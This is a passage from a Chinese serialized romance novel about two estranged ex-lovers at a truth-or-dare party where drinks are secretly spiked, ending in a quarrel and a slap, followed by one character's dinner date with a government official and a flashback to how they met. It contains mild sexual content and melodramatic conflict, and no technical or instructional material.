何湛程毫不犹豫:“真心话。” “好!”王二怂一脸贼笑,随机抽出一张卡,清清嗓,照着卡片上的问题大声读出来: “前任身上至今最让你舍不得TA的三个优点是什么?” 戚时闻言心中一动,眉头沉下,嘴唇微微紧抿着,屏息凝神,认真竖起耳朵听。 旁边,何湛程不甚在意地一笑,指弯敲了三下桌子,一一回答: “脸还行、屁股翘、口*活儿好。” “哇——!!”众人本性毕露,两眼放光,一个接着一个,全都色眯眯地笑起来。 但这个回答指向性不明朗,众人只知道戚总和三少肯定有点什么,但不清楚他俩是不是前任的关系,谁也不敢胡乱开玩笑,只是不约而同去观察戚总。 戚总一脸平静,谁也没看,只是身板挺得笔直,微微抬着下巴,一脸傲然,不知道在显摆什么。 接着进行下一轮。 指针飞速旋转,最终指向秦颐儒。 秦颐儒一挑眉,瞥了眼王二怂。 何湛程从前混沪圈的,不了解王二怂这贼小子,但他秦颐儒可不是好糊弄的。 王二怂知道秦颐儒看出来了,冲他一笑:“秦少,难得大伙聚一块儿,你可别扫兴啊!” 秦颐儒不屑轻啧一声,拿了杯饮料正要喝,旁边章政礼突然伸手一拦,说:“这杯我替你喝。” 秦颐儒于是知道他拿的这一杯有问题。 然后一巴掌打掉身旁人的手,说了句“用不着”,痛快地仰头灌下。 王二怂:“秦少选真心话还是大冒险?” 秦颐儒:“真心话。” 王二怂一本正经道:“在场的这几位,有没有你的心动嘉宾?” 秦颐儒想也不想,说:“没有。” 众人心一惊,齐刷刷扭头去看向章政礼。 章政礼一脸无辜,眨眨眼:“怎么个事儿,你们都看我干什么?他有女朋友!!” 众人心更惊,又齐刷刷扭头去看秦颐儒。 秦颐儒一笑:“她跟我分了。” 然后转头看向旁边人,冷声道:“因为你。” 章政礼不以为意地笑起来,抬手在秦颐儒肩膀上捏了两下:“别这么小气啊,天涯何处无芳草,何必单恋一枝花啊!赶明儿哥哥给你介绍几个更好的!乖,看开点儿!” 秦颐儒盯着他:“我看不开。” “我就喜欢她,我只喜欢她。” 章政礼敛起笑意,冷着脸抽回手,说:“行,你喜欢去吧。” 第三轮,指针转到戚时面前。 戚时立刻皱起眉。 这旁观别人热闹吃了半天瓜,突然轮到他头上,他还真有点不太适应。 戚时拿了杯饮料喝下,抬眼看向对面,主动道:“我选大冒险。” 王二怂拿着卡“呃”了一声,反复看了两遍,确认无误,将指令念出: “选择身边(仅限左右)的任意一人,和TA热吻一分钟。” 话音一落,暗影下,四尊大佛同时神色一凛。 戚时第一个反应过来。 他漫不经心的视线扫过左手边的章政礼,又饶有兴致地上下打量了眼右手边的潮男酷少,冲他俩笑:“总归都是我占你们这些小年轻的便宜,我是不介意,你们谁愿意?” 何湛程一愣。 什么叫“你们谁愿意”? 戚时难道不是应该继续舔着脸凑过来,一脸深情又不值钱地笑着,温柔地握着他的手,问他:“程儿,你愿意吗?” 何湛程就忍不住有点急。他抬头望着戚时,很想说点什么,然而章政礼先他一步,疾风一样,朝戚时的怀里扑上去了。 “时哥,我愿意。” “嘶——”满场倒吸一口凉气。 众目睽睽之下,章政礼一个出身名门的官三代,就这么毫无忌讳地一屁股坐在了戚时的大腿上。 他轻盈又瘦削,顶着一张笑意款款的俊脸,埋着肩膀抵在戚时撑得衣衫饱满的胸前,像一个祸国殃民的妖妃,摇晃着臀部,若有若无地在戚时腿|间蹭着,几根细长青白的手指扯过戚时紧束的领带,一副不容人拒绝姿态,极其强势地吻了上了对方的唇。 戚时身子僵了一下。 但很快,他被勾引得起了反应,章政礼实在是一个讨人喜欢的漂亮妖孽,戚时血气方刚的年纪,根本禁不住对方赤裸裸的撩拨,大手瞬间爆起青筋,猛地扼住章政礼的细腰,将人狠狠揉进自己怀里,另一手重重地掐着章政礼的下巴,呼吸粗重地与人激吻起来。 满室死一般的寂静。 无尽蔓延在众人周身的,是那二人暧昧至极的喘息声。 何湛程精神恍惚着。他就在一旁看着,看着这个他何湛程吻过、睡过、深爱过的男人,这个两小时前还站在院子里、信誓旦旦说愿意为了他去死的男人,眼下正当着他的面,和另一个不识好歹的小子抱在一起疯狂热吻。 “时哥……”章政礼气喘吁吁的,他似乎也沦陷进去了,干脆翻身抬腿一跨,骑在了男人的腰上。 “嗯……乖崽儿。” 乖崽儿。 大脑“轰”地一声,何湛程癫狂地笑了起来。 刹那间,眼底水雾模糊成一片,整个世界都黑了下来。 66.第66章 一吻结束,戚时与章政礼分开。 “时哥的kiss是我经历过的最好的!”章政礼起身整理着衣衫,有些意犹未尽地冲男人暧昧一笑。 “一般一般,世界第三。”戚时挥手谦虚。 章政礼感觉自己有点喜欢这个人了,于是趁机道:“那……我们加个联系方式?” 戚时一笑,摸出张名片递给他:“随时联系。” 只是片刻肉|欲的放纵,完全屈服于人性最原始的欲望,不同于和喜欢的人kiss时会感到脸红心跳,这是一场半玩笑半社交式的吻,这个kiss令他们各自感到愉悦和放松,以及,满足了他们对在场某个人——他们真正所爱之人的、强烈的报复欲。 因为这次不错的体验,他们以后或许会再约。 但下一次再约,他们之间肯定就不只有一个吻了。 在座众人鸦雀无声,忍不住去看秦颐儒反应。 秦颐儒面无表情地端坐在那里,无视众人目光。 章政礼没事儿人一样坐回去,看起来脾气好了很多,他伸手拍了两下秦颐儒的肩,指了下桌子另一头的八拼果盘,说:“老秦,给我拿块西瓜润润喉。” 秦颐儒突然伸胳膊一拽,硕大果盘如凌空漂移一般,“唰”地横飞过来,越过桌游地图,险些摔到他脸上。 章政礼满意地笑起来,拿起块瓜放嘴里啃,神情颇为享受:“嗯~~真甜!!” 众人:“…………” 众人又忍不住去瞅三少。 三少没在。 戚时撇撇嘴,鼻音轻哼一声,不免觉得有些可惜。 可惜小兔崽子没能亲眼见证,他戚老二就算在年轻人的市场里,也是很抢手的那一类。 刚才章政礼扑过来的一瞬间,他将人幻视成何湛程了,明知怀里人的身段和香水味和何湛程不太一样,他仍一意孤行地把人当何湛程吻了。 不然呢? 如果对象不是何湛程,他怎么下得了嘴? 他吻得太投入了,想起了曾经和他的程儿在一起的好多快乐时光,没注意到真正的何湛程去哪儿了。 一直坐在何湛程旁边的女生见势不妙,连忙站出来说话。 她离三少最近,看得最清,但在场众人都是人精中的人精,她不敢说三少哭了,于是指了下何湛程杯子里就剩小半口的水,说:“他刚才呛到了,咳嗽了两声,然后就去卫生间了。” 有个人啧一声,翘着二郎腿,手里盘着俩大核桃,眉头一皱又一挑:“怎么闹得啊,最开始见何湛程的时候,他也没这么体弱啊!上月初三他还跟我一起玩赛车呢,要不回头我跟我爸说一声儿,让他明天把人接到他那儿瞧瞧去,万一有啥病,也好赶紧查出来从根儿上治了得了!” 戚时一挑眉:“你爸是?” 虽然他自己也混二代圈子,但这帮年轻大学生属于老来子或者孙辈的人,戚时生意往来也好,聚会喝酒也好,来往的都是这帮人的哥哥辈和父亲辈,眼下这群人,除去跟来的几个新崭露头角的广告模特,他看着都挺脸生的。 另一人笑道:“他爸是燕京市医院的党|委书记,一言能顶千斤重,那指定是管事儿,不过,像三少这种感冒咳嗽的小病,直接吩咐这小子就行了,哪里还用得着他爸出马?时哥平时不跟我们一起玩儿,你不了解他,这小子出门在外,十句话有八句离不开他爸,这不,趁着三少不在跟前儿,他就又开始跟你装逼呢!” 那人被当众揭短,脸上一臊,揣着手里俩大核桃就冲人脸上投过去:“朱子辰!你他妈少说两句话会死是不是!你要行你就来安排,你不行就给老子闪边儿去!” 朱子辰稳准狠抓住俩核桃,一脸无奈:“那你少提几句你爸行不行?我耳朵都要磨出茧子了!” 那人偏要气他:“就提!就提!我就提!” 戚时笑:“行了,程儿不在就不在了,你们哪儿犯得着跟我装逼,我跟他又不熟。” “嗯,是我认识他大哥,程儿这阵子在京城,他大哥托我照看着他点儿,你们别误会。” 众人应声点头,表示了解。 然后集体笑眯眯地望着他,一脸“信你个鬼”的表情,整得氛围更加暧昧了! 已知: 三少的亲属、朋友和情人们都管他叫“何三少”、“老三”、“小三儿”、“湛程”、“程哥”、“亲爱的”、“老公”; 未知: 天底下谁能这么暧昧又不客气地叫何三少“程儿”啊? 而且,用的还是一种随意呼唤小猫小狗的语气。 大概戚总裁平时私下叫习惯了,这次顺溜到连自己都没发觉自己刚才说了什么,还好意思睁着眼说瞎话,标榜自己和三少不熟呢? 呵!依他们这帮人看,这俩人何止是熟啊!这分明就是熟透了的关系!! 正聊着,说曹操曹操就到。 何三少未见其人,先闻其声,随着一阵低低的咳嗽声传来,众人扭头望去—— 何湛程低沉着眉,冷眸若寒星,一张苍白的脸褪去血色,几缕挑染的蓬松卷毛额发用冷水打湿,正滴答着水。 他朝他们缓步走来,气场凛冽,谁都没放进眼里。 他情绪显然不太对,四分快咳虚脱了的病气,六分强势霸道的压迫感,令一众人莫名紧张起来。 他是今晚玩得最不爽的一个人。 他今夜本该是人群中最靓丽的主角,只因他的爱人对他不再留恋,他一身的光彩与华丽尽灭,整个人仿佛被笼罩上一层灰败的阴霾,教人既心生怜惜,又不想再与他轻易接近。 何湛程坐回位子,众人噤声,身旁女生帮他重新接了杯温水:“三少。” 戚时见他这副要死不活的样子,不禁一皱眉:“不舒服了?我派人送你去医院瞧瞧?” 何湛程刚冷硬下的心肠,一听这话,忍不住又委屈起来。 他低头捧着水杯,黯然沉默。 他们在一起的时候,他的事,无论大小,戚时一向都是亲力亲为,什么时候假手于人过? 别说去医院了,就连给他剪脚趾甲,戚时都如同捧着一件珍宝,极其郑重地对待。 他总是不老实,故意用脚趾去撩拨戚时,戚时即便脸红心动也不敢回应,生怕他乱动剪到他皮肉,等剪完,戚时帮他擦干净脚丫,笑得那么英俊撩人,一边哄着他说爱他,一边轻轻地吻他的脚心。 有时戚时会像一头温驯的雄狮,面带笑意地趴在床上,任由自己在他身上爬着玩儿,等他玩儿累了,戚时就会伸出手臂一揽,揣崽子一样,把他揣在怀里。戚时很喜欢用下巴蹭他的肩窝,温热的嘴唇附在他耳畔,刻意压得低沉动听的嗓音,净讲些荤话逗他笑,然后用那一双有着粗糙掌心的大手帮他暖脚,再摸遍他全身。 “不用,我挺好的。” 何湛程端杯子喝了口水,扭头对王二怂说:“继续,接着。” 戚时见何湛程还有力气跟他犟,想来身子也没大碍,也就懒得再管。 本来就是,就算管,也该是人家的新对象去管,哪里轮得到他戚老二插手? 真心话与大冒险的转盘再次飞速转动。 王二怂不傻,瞧这两边架势,一对儿比一对儿剑拔弩张,他要再不识相乱搞事,秦颐儒绝对会翻脸掀桌子把他给狠狠削一顿! 但是呢,他也不能一次都轮不到那四尊大佛,否则傻子都能看出他在搞鬼,这样的话,这四尊大佛绝对会一起跳起来,集体把他给狠狠削一顿! 于是接下来的几局,朱子辰、盘核桃的、还有两个女生,卡牌指令或劲爆或常规,例如“说出你初夜的地点”、“背着左手边的人绕全场一圈”、“打电话给最近通话列表的第一个人,说‘我爱你’”、“再罚两杯”。 大冒险么,打电话必不可少。 这屋内有全方位无死角的监控,平时戚时私下来玩儿当然不会开,今天人多眼杂,他才暗地里命人在各个大小房间里开了监视器。 毕竟何湛程带朋友来,他不好太扫何湛程的面子,刚才在决定玩桌游时就把手机都还给了这帮人。 戚时也料想这些人不敢搞小动作。 刚才被喊来凑人数的那帮浑水摸鱼的喽啰在庭院搜身时就已经被筛掉了,眼下在座的,一个接着一个,全是一脸富贵阔气相。章政礼和秦颐儒,年轻舒展的英俊面孔,举止大方有气场,还有朱子辰,和人聊没两句,但凭谈吐就知道这位也是个家世显赫、有身份地位的少爷,他们这一帮人要是真在会所被拍了视频流传了出去,大家脸上谁也不好看。 第五轮章政礼,他主动拿了杯掺药的饮料,然后选择大冒险。 王二怂抽出的重复卡牌,说“打电话给最近通话列表的第一个人,说‘我爱你’”。 章政礼于是掏出电话,扫了眼最近通话列表,嘴角一翘,拨通了秦颐儒的电话。 秦颐儒皱眉问章政礼:“你有病吧?” 章政礼催促:“你有点儿游戏精神行不行?快接电话!” 秦颐儒无奈接起电话:“喂。” 章政礼笑声很轻,语调放缓,仿佛真的在和人表白:“我爱你。” 秦颐儒应声点头,一派老气横秋语气:“嗯,乖孙子,爷爷也爱你。” 章政礼:“…………” 第六轮戚时。 他拿一杯饮料喝下,依旧选大冒险。 王二怂发布指令:“加回前任,想办法作个妖,让对方回你一句‘你是不是有病’。” 戚时不动声色地瞥了眼右手边的人。 何湛程面无表情。 戚时轻嗤一声,双腿叠起,仰身靠在沙发上,昂首挺胸,语气三分嚣张七分冲劲儿: “前任把我拉黑了,加不了!我也不想加他,你再换个别的!” 何湛程嘴唇紧抿成一条直线,虚握的指尖颤颤着抖了两下。 王二怂又抽了张卡,说:“让右手边的人坐在你大腿上,和他自拍一张合照发朋友——” “这个不太方便,”戚时再次出言打断,“我从前练体育的,腿有旧疾。” 王二怂“呃”了一声:“我还没说坐哪条腿呢……” 戚时从容道:“我两条腿都有。” 何湛程突然冷笑一声,斜眼睨他,阴阳怪气道:“我还记得你有腰伤呢,怎么,刚才章政礼那小子骑在你身上乱晃的时候,你怎么不说啊?” 那边章政礼笑了下。 从他亲上戚时的那一刻起,他就知道自己已经得罪了这位从江南来的大少爷。 不过呢,他惹得起,所以他不是很在意。 戚时也哈哈哈大笑起来。 他猛地俯下身扑过去,五官凌厉如鬼斧刀凿,浓眉疏狂尽显野气,一张杀气腾腾的脸半掩在灯影里,眉宇间还带几分歪门邪气,在场内诸多里靓男俊女中,唯他一个人能凌驾于所有人之上。 戚时正直勾勾地盯着何湛程,深眸迸射出狰狞的笑意:“因为那都是我骗你的啊!你不是知道吗,我最喜欢骗人了!” “不是,何老三,你也真够逗的,我说什么话你都信啊?” “那我说,你那使出浑身解数的床上功夫还没我前几个女人带劲儿呢,你信不信啊?” 何湛程面色骤然阴沉下来,他压制着怒火:“你有种就再把刚才的话说一遍!” “我!说!”戚时阴狠狠地瞪着他,大声喊:“你何老三的床上功夫还没老子的前几个女人好!!!” 哗啦——! 何湛程猛地起身,抄起玻璃杯泼他一脸水! 众人集体“啊”一声,戚时抬手一抹脸,爽声笑道:“没事儿,老子不化妆不擦粉的,纯天然原生态无添加,只要不泼硫酸,这张脸啥事儿没——” “啪”一声! 不等戚时说完,何湛程急火攻心,甩手赏过去一个清脆响亮的大巴掌。 戚时本身脸庞白俊清透,右脸上的五指印清晰可见,并在短短几秒内迅速肿胀起来。他双手撑着酒桌,低头吐出一口血沫,众人惊呼出声,不禁瑟缩抱成一团。 戚时伸舌拱了拱他今晚二次受伤的右腮——那里破了个大洞,何湛程故意选他说话时动手,以至于现在伤口上还摇摇欲坠着几块碎肉。 他瞥眼睨向对方,不遗余力地继续攻击:“病得不轻,手劲儿倒是见长啊?” 何湛程身上又开始冒冷汗。他忍着喉咙刺上的痒意,盯着对方,嗓音沙哑地笑起来:“怎么样,够不够痛快?现在是我力气大,还是你前女友力气大?” 戚时抬手擦掉嘴角血迹,也一脸笑意地望着他:“我前女友比你温柔,而且,她嗓子也好,不像你破拉风箱似的喉咙那么难听。” 何湛程轻轻“哦”一声,低低一笑,朝末位走过去,伸手拿水果刀。 朱子辰吓一跳,大喊一声“使不得!”,二话不说,抢先一步抽走水果刀,正义凛然地把它坐自己屁股底下。 众人眼瞅着这俩人马上要干起来的架势,都不约而同往后远离。 王二怂忙尬笑着打圆场,冲戚时道:“嗐!时哥,多大点儿事儿,这轮就这么着吧!” 虽然大家现在都清楚这两位是彼此的前任了,但八卦归八卦,再这样闹下去,整个屋子里的人恐怕都要被这两位殃及池鱼了,还有戚总裁—— 戚总裁嘴皮子耍得挺溜,但他看起来不太会还手,就凭着三少这个疯劲儿,戚总明天早上有没有命活着出这个门都是个未知数。 戚时挥挥手:“小事儿小事儿!” 何湛程冷哼一声,扭头瞥了一眼王二怂,转身坐了回去。 王二怂又连忙安抚何湛程:“再说了时哥,哪里就真给你坐疼了,我们三少走路都轻飘飘的,人好像也不重吧?” 戚时呵呵一笑,点评道:“他啊,他是人高显瘦看着不重,一身硬皮黏着犟骨头,身娇肉贵的又难伺候,一回两回也就算了,时间长了,我哪儿受得住他这啊!” “受不住就受不住,我也没让你受!” 何湛程剧烈猛咳起来,呛得满脸通红,他刚坐下身又蹭地蹿起,扬手抄起玻璃杯就冲人脑袋上砸过去! 戚时好歹是练家子,身体比脑子更灵活,一个迅速闪身及时避开,身后一声清脆炸响,温水杯瞬间被摔碎成玻璃渣。 戚时扭头朝身后瞥了眼,鼻音轻哼一声。 他价值三千多块的奥地利Riedel典藏版水晶杯。 身旁众人吓得心惊肉跳,忙涌上去拦:“三少!三少!玩笑话,都是玩笑话!时哥这跟咱们闹着玩儿呢,你别当真啊!” 何湛程怒不可遏,恨声挣扎道:“什么狗屁的玩笑话!你们没听见他怎么骂我的吗?!一个个见风使舵的墙头草,都给本少爷滚开!再敢拦我,今晚上我要么弄死他,要么弄死你们!!” 众人一听这话,集体跳出两米远,目光齐刷刷地看向戚总裁。 戚时甚是乏味地一笑。 在何湛程抓起烟灰缸,又一次冲过来要给他脑袋开瓢时,戚时在刹那间冲人举起手,露出腕间缠了三圈的佛珠,另一手勾起一根珠串,斜眼上瞟,懒洋洋道:“何老三,珠子还想不想要?不想要,我给你扯断了?” 何湛程瞳孔骤然一缩,扬在半空的手倏地顿住。 因为拥有的太多,所以他不是一个重视身外之物的人。 但这珠子不一样,它是他爸给他求来的。 他爸五十来岁的时候有了他,他刚出生就命悬一线,那个上了年纪的老头子……那个后来将他惯得无法无天、宠得他几乎分不清是非的坏糟老头子,看似健康硬朗,实则身上堆积着数不清的旧伤痼疾。 老头子顶着三高,带着呼吸机,领着一群手下上高原、爬雪山,一边吸着氧气流着鼻血,一边找那僧人求宝,回沪上后住了半个多月的院才歇过来,结果又出了报社的事…… 并不是因为这手串有多玄妙的神力,他从小到大什么罕世宝贝没见过? 是因为这珠子是他家老头子费尽曲折给他弄来逆天改命的护身符,他才这么格外重视它。 何湛程放下烟灰缸,扯纸巾擦了擦手,抬眼盯向戚时:“行,我不跟你计较,你把珠子还给我。” 戚时下巴冲右手边沙发一抬,吩咐道:“坐回去,今晚这局散了就还你。” 何湛程不肯动:“你说的话我不信,现在就还。”

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然后他们各自别开视线。 眼不见,心不乱。 好了,第三次世界大战回归和平,酒桌游戏重新开始。 三十杯饮料,其中有十杯被下了药,喝超过三杯,就算病痨子来了都得暴起耕两亩地,二十七局玩到早上五点,只离开了一个倒霉催的、一向以“圈子里洁身自好第一人”引以为傲的母胎单身狗朱子辰。 氛围又一次刺激起来,因为眼下剩的三杯,全部是掺药的“药水”。 前七杯,朱子辰一人连续误饮三杯,剩下秦颐儒、章政礼、戚时、还有一个短发女生,四人各喝了一杯。 微量药物的摄入,只是令人脸红冒汗,即便几人有些心猿意马,凭借理智也能抑制得住。 也就是说,除非转盘坏了,令这三轮只针对同一个人,否则他们剩下这些人,再次有人中招的概率几乎不存在。 即将再转盘时,秦颐儒不动声色地偏过头,淡淡瞥了王二怂一眼。 王二怂笑了声,冲对方点点头,意思是他心里有数。 除非他疯了,他才会再继续招惹这四位祖宗爷。 哗啦一声——! 指针指向何湛程。 王二怂微怔。 他发誓他真的没再操纵转盘。 何湛程倒出乎寻常的从容。 他端起一杯药水,仰头喝下,然后转头对王二怂说:“我不选真心话,也不选大冒险。” 王二怂连忙道:“行啊!都行!三少您喜欢就成,哈哈哈您随意,随意!” 何湛程微微一笑,说:“所以,我再自罚两杯。” 说着,伸手去拿那两杯药。 戚时骤然变色,一把拽过何湛程的手臂,沉声道:“不行!” 何湛程扭头瞥他:“管得着么你?我趁早喝完,你趁早把东西还我,你受不了我,我也早就受够了跟你再待在一间屋子里!” “那好!”戚时趁人分神,眼疾手快,一把从人指尖夺过那两杯药水,在众人惊愕的目光下,想也不想,直接仰头灌下。 他手掌宽大,手指也格外的长,一只手握两只杯子,一滴不漏,全倒入了喉。 何湛程也愣了一下,张了张嘴:“你……” “别误会,”戚时瞥他,正色道:“你身子不好,再任性乱来出了事,我不好跟你大哥交代。” 何湛程又沉默,点点头,表示了解。 戚时干脆利落地抬手一抹嘴,然后低头摘下珠子。 趁着何湛程走神,他拉过对方的手腕,亲手一圈又一圈给他缠上去。 缠完,他忍不住又皱眉嘀咕:“怎么是六圈?好容易把你养胖了点,怎么又瘦回去了?” 何湛程鼻头泛酸,他现在不想听这些。 不耐地抽回手,揣上手机,起身就往外走。 章政礼秦颐儒他们见势也纷纷动身走人。 一群人只陆续跟戚时打了几声招呼,因为章政礼现在已经和何湛程闹掰了,即便何湛程家大业大,但他是从沪上来的,而目前他们这个圈子是章政礼的天下,所以,这么多人离开,只有秦颐儒在临出门前回了一下头,跟何湛程招了下手:“湛程,我们就先走了,你在京有事随时联系我。” 要放以前,何湛程打死都不会跟惹到他的人、以及和惹到他那个人身边的人有任何牵扯,如果有不识好歹的来搭话,他只会让对方哪儿凉快就死哪儿去! 但现在,他是一个为着缔造属于他自己商业蓝图、奔忙于酒桌应酬的生意人,哪怕是为了自己—— 对,就是为了他自己,在这个距离他家三千多里地的破京城,即便看那些人再不顺眼,他也要和颜悦色地继续跟人家维护关系。 何湛程冲秦颐儒微微颔首,客气道:“多谢。” 两拨人就此分别。 五台车,漆黑轮胎碾过一尘不染的庭院,缓缓开走了四辆。 章政礼的奥迪Q6,秦颐儒的奥迪A8,俩核桃的迈巴赫,王二怂的兰博基尼。 晨风吹拂,瑟瑟冷意袭遍全身,何湛程独自坐在驾驶座,骚红玛莎拉蒂的颜色亮得扎眼。 他正要发动车子,冷不丁打了个大喷嚏,连忙抽纸巾擤鼻涕,顺手投进停车位旁的垃圾桶。 不经意一瞥,发现某个身高腿长的男人正大步朝这边走来,何湛程犹豫了几秒,然后反手锁上了车门。 戚时臂间挽着件山羊绒薄款大衣,完全标准化的商务精英男,西装革履容颜华贵,行走衣架子似的,隔着老远似乎就能闻到他乌黑发间飘出的淡淡松木清香味。此人看着人模狗样,一凑到他何湛程的面前,突然就像个从上世纪末穿越过来的流氓古|惑|仔,先是冲他帅气一招手“hi~”,然后仗着身姿矫捷,单手摁着车窗,身子凌空一斜,轻轻松松就跳进了他的副驾。 何湛程:“……” 戚时长臂伸过来,递上外套:“这会儿冷。” 何湛程也不矫情,三两下脱掉皮衣,换上更保暖的大衣。 他们就差两厘米,身高差几乎可以忽视,戚时的衣服,除了量身剪裁的高定西装,其余常服他穿起来都很合身。 一边低头系扣,一边随口道:“你站在车外也可以给。” 戚时缓缓俯身靠过来,仔细眯眼盯着他侧脸看。 忽地,那人将手掌搭在他手上,嗓音有点哑:“我送你回去?” 何湛程不着痕迹地避开,声线冷淡:“如果你要找泄火的对象,最好还是去睡一个床上功夫能让你满意的比较好。” 戚时闭着眼就开口:“你当老子还愿意伺候你?是你大哥把你交给我,如果我——” 何湛程打断:“我大哥没那么关心我。 戚时扯扯嘴角。 依然保持着近在咫尺的距离,戚时盯着他看了一会儿,忽然抬手,勾起食指弯,轻轻刮了下他的鼻尖。 “你为什么就不能再乖一点儿?” 何湛程低着头,没吭声,他预感到什么,一颗心沉沉的。 戚时深眸凝视着他,一秒、两秒、三秒……半分钟过去,没等到他的回应,终于释然一笑,撑着燥热难耐的身子缓缓退离。 “放心,你二哥好歹是久经沙场的人了,就这么点儿剂量的药,老子冲个冷水澡分分钟解决。” “那个叫李天涯的,我知道他,财政部的官儿么,没什么大不了的!虽然我不知道你是怎么和他认识的……嗯,如果你相中他了,玩儿玩儿也就玩儿玩儿了!” “但你不要为了和我怄气,去和没必要的人上床。” “程儿——” 那人最终头也不回地离开了: “你眼光不好,选中了我这样的人,我也不好,没能让你的选择变得正确,但如果时光倒流,一切重头再来,我宁愿我们从来没认识过。” 67.第67章 夜色降临,都市繁华。 法式餐厅,临窗俯瞰,偌大京城霓虹灯乱,纵横交错的马路上车流不息; 室内,双人面对面坐,米色亚麻桌布角落放着两个爱马仕时装礼袋,中间隔着浪漫烛光与鲜红玫瑰,旁边小提琴曲悠扬。 “来,湛程。”对面男人微微躬身,递过来一盘切好的牛排。 “嗯,谢谢二——”余光瞥到对方袖口间的浪琴康卡斯腕表,何湛程话音一顿,抬头和男人对视一眼。 男人三十多岁,风度翩翩,俊逸儒雅,梳理得一丝不苟的发型,相貌雍容端正,一米八八的身高,穿衣显瘦脱衣有肉的健身型体格,还有特地为今天的约会换上的、很显年轻的休闲西装。 整个人从头到脚,完美得无可挑剔。 何湛程接过牛排,冲人勉强一笑:“谢谢天涯哥。” 然后埋头叉肉嚼着,继续放任自己的思绪游离于身旁这面倒映着二人身姿的玻璃墙外。 他们相处有一段时间了。 李天涯人很好,有家世,有教养,无论对谁说话都是心平气和的,因为形象威严,喜怒不形于色,外表看起来高高在上,很是不近人情,只有二人私下相处时,李天涯会亲昵又生涩地称呼他一句“宝贝”,问他有没有什么想要的礼物,让他尽情许愿。 这才是配得上他何湛程的人。 李天涯端庄自持,腹有诗书,不喜混迹娱乐场所,虽然因工作原因交游甚广,结识诸多高官权贵,但日常生活三点一线,鲜少有知心朋友。 纵观李天涯的前半辈子,自幼品学兼优,诗书礼仪样样精通,长大后按照家人安排,顺利入仕,一路平步青云,位高权重。 他对女人毫无兴趣,恋爱经验几乎为零,后来察觉自己似乎是同志,但寻常男伴儿入不了他眼,他这种身份也不便太过招摇,李天涯一向遵循宁缺毋滥原则,孤寡到至今。 李天涯自己也没想到,他只是回母校参加一场寻常的商务晚宴,竟然在机缘巧合下对一个二十岁的年轻学生一见钟情了。 当时何湛程一身西装打扮,梳着龙须背头,个子极高,手里晃着杯香槟,正斜身倚靠在宴会厅花束堆旁的僻静角落,不知在和谁打电话。 隔着觥筹交错的酒桌,越过来往谈笑的人群,礼堂四方璀璨灯光洒落在那陌生少年若隐若现的雪白脸庞,他浓眉英挺,薄唇翘鼻,侧颚如刀削般凌厉帅气,一派玉树临风的模样,连端高脚杯的指尖都透出一股慵懒随性,实在是令人心生向往。 可少年神态并不如他长相那般冷漠。 少年当时正红着脸对着电话那头聊天,不时冲电话那人撒娇嗔怒,笑得潋滟生花,一下子就俘获了他的心。 李天涯在远处愣神。 他望着那少年,驻足良久,明知人家打电话是在谈情说爱,他还是鼓起勇气,厚着脸皮,缓步朝何湛程走去。 他先是一通认真的自我介绍:名姓、职位、父母家庭,表示自己私生活检点,不沾烟酒,身体健康,三十多年来从未有过不良嗜好,以及,如果何湛程愿意和他在一起,他个人能给到何湛程这个孤身一人闯入京城名利场的小少爷什么程度的好处。 他像登台演讲一样,心里紧张,面上镇定,犹如滔滔江水般,一字不差地将自己的意图全都交代出来,只盼望着何湛程是那种不谙世故的小孩儿,见他条件更好,就果断甩掉现任,一心一意跟了他走。 何湛程举着手机,愕然望着他,似乎一时间接受不了这么大的信息量。 李天涯望着近在咫尺的、何湛程的那张漂亮脸蛋,心脏砰砰跳着。 他想,说句话吧,随便说点什么都好。 他想,少年的嗓音也一定很动听。 “不好意思,我有喜欢的人了。” “我很爱他,他也很爱很爱我。” 少年的嗓音的确很动听。 拒绝他也拒绝得很干脆。 意料之中的事,李天涯面有愧色,对人说了句“抱歉”,转身就走。 没料少年古灵精怪,不想要他的人,却想跟他攀个关系。 “天涯哥?”少年横身一挡,冲他笑得灿烂:“我可以这么叫你吗?诶,我们现在算是认识了吗?那你给我张你的名片吧!” 他被少年的笑容迷得有些眼晕,明知道对方真实意图,他还是点了点头。 “我没有名片,这是我的手机号。” 他随手从衣兜里掏出张便携纸笔,写下自己联系方式,郑重地交给对方:“如果你遇到困难——只能是你遇到困难,随时联系我。” 少年就是少年,一拿到纸条,立刻就眯眼笑开了花,然后不顾形象地攥拳“耶!”了一声,一蹦三尺高,吓他一大跳。 “天涯哥,怎么不跟我打声招呼就走了?” 他离开晚宴时,何湛程从自己的小团体里抽身跑过来送他。 这是个社交手腕远超同龄人的少年,老练成熟得像一个世故圆滑的政客,一个为谋私利而满嘴谎言的商人。 可这个人如此之年轻,姣好的容颜,俏皮又性感,一身私人定制的西装,整个人漂亮华美得不可方物,怎能不令人心生觊觎? 何湛程站在夜色里,一脸笑意地冲他挥手:“天涯哥,路上小心点儿,晚上记得想我!” 开车回去路上,李天涯脸上泛着笑意,一小时的车程,他慢悠悠地打着方向盘磨蹭了三个多小时。 何湛程那句撒娇般的“晚上记得想我”令他回味良久。 次日早一醒来,他几乎就在睁眼的那一瞬间确定了: 他爱上昨晚那个很爱笑的狡黠少年了。 或许是上天的恩赐,少年和原本的爱人分手了,他简直都不敢想,少年来到了他的身边。 他不介意少年的过去,他终于可以名正言顺地把这个人占为己有了! 一捧接着一捧的玫瑰、每次约会必送的小礼物、房、车、衣服、首饰……甚至,他在明知对方并不深爱他的情况下,甘愿奉出自己的真心,只盼能将少年守得久一点。 他用尽了手段哄人,他知道自己三十六岁的人这样做很幼稚,可他就是忍不住!他忍不住想围着他娇养的金丝雀转来转去!他就是被这个人迷得神魂颠倒不知天地为何物! 少年却总是一副兴致缺缺的样子,他送去的那些礼物,少年看都懒得看一眼,更别提对他笑了。 他不在乎。 笑也好,不笑也好,只要少年肯待在他身边,强装温柔地喊他一声“天涯哥”,他就觉得一切都值得了。 他们感情进展得还算顺利: 第一周,他尝试去牵手,少年身子僵了一下,但没拒绝,于是他们就这样顺理成章地牵上了手; 第三周,他试探着去拥抱少年,双手小心翼翼地伸出,又犹豫着伸回,心中思量着这样是否不太合乎礼仪?少年看出他意图,叹了口气,主动抱上来,安慰他说:“天涯哥,辛苦你了”; 一个月过去,在一场深夜散场后的电影院角落,他再一次鼓起勇气,倾身过去搂住少年的腰,轻声询问少年自己能不能吻他? 少年没说能也没说不能,只是很安静地闭上了眼,微微颤动的睫毛似乎有些苦涩。 他看出了,但装没看见。 他只剩少年这一副温驯漂亮的躯体了。 他手掌怜惜地抚摸着少年的脸庞,缓缓俯身,吻上了这个令他痴迷到魂不守舍的少年的唇。 于是他们也就这样顺理成章地经常接吻。 